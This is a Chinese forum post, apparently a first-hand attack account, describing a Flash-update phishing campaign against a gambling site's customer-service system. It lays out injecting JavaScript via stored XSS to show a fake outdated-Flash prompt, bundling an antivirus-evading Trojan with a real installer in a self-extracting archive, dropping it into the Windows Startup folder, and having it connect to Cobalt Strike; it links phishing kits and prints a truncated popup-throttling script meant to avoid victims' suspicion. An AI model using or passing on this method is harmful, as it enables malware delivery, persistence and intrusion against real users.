论坛首页 > 技术文章投稿区 > 实战纪实

flash钓鱼

kanjin · 发表于 2021-04-28 16:18:35 · 实战纪实

## 前言：
这篇文章写在我搞到某个bc的边缘系统的时候，没啥重要信息，而且没内网。但因为这是个客服系统所以，我决定钓鱼。想想都特码刺激。

## 准备：
1. 服务器，存放钓鱼页面
2.域名
3.免杀木马
4.fash页面
总体思路就是：对方有存储xss漏洞或者你有网站权限-->插入js触发flash版本过低弹窗-->对方点击确定-->跳转到我们的flash界面-->对方点击下载并安装-->触发我们的木马-->木马连接cs。
## flash钓鱼套件
https://github.com/r00tSe7en/Flash-Pop   美化版的弹窗（想用的可以看看）
https://github.com/hackxc/xss_flash 网址在这

![](https://nc0.cdn.zkaq.cn/md/7964/e310f8e885fe2947950dee34b87b92d1_82382.png)

他把所有能用到的工具都打包了，我们只需要弄个自解压文件，把木马和正常的flash安装包压缩，然后设置图标，设置解压后启动 。设置木马解压位置为（C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup）windows的自启动目录。 比较简单这里不放图了。自己摸索一下就知道了。再不会可以百度。
这里面的js弹窗是一直弹，就没法正常访问页面了，对方再蠢也知道中病毒了吧。我自己百度又结合这个改了一个 过段时间就会弹一次（时间需要自己设，毫秒为单位).
**version.js**

```javascript
function getCookie(name) {
var cookiefound=false

var start=0

var end=0

var cookiestring=document.cookie;

var i=0;

while (i<=cookiestring.length)

{
  start=i

end=start+name.length

if (cookiestring.substring(start,end)==name)

{cookiefound=true;

break;

}
i++;

}
if (cookiefound==true)

{
 start=end+1;

end=cookiestring.indexOf(";",start);

if (end<start)

{
 end=cookiestring.length;}
 return cookiestring.substring(start,end);

}
return "";

}
function newcookie(id,value,guoqi)

{
var expires=new Date()

expires.setTime(expires.getTime()+20*60*1000)  //我这里设置了每1/3小时弹一次。

var expiryDate=expires.toGMTString();

document.cookie=id+"="+value+";expires="+expiryDate

}
if (getCookie("Al

用户名	金币	积分	时间	理由
Track-聂风	80.00	0	2021-04-30 14:02:48	目标也在用CS真的是骚呀

打赏我,让我更有动力~

1 条回复 | 直到 2021-4-29 | 1501 次浏览

Track-聂风
发表于 2021-4-29

有没有后续了？写的可还行

评论列表

加载数据中...

编写评论内容

登录后才可发表内容

flash钓鱼

评论列表 默认排序 默认排序 最新回复

评论列表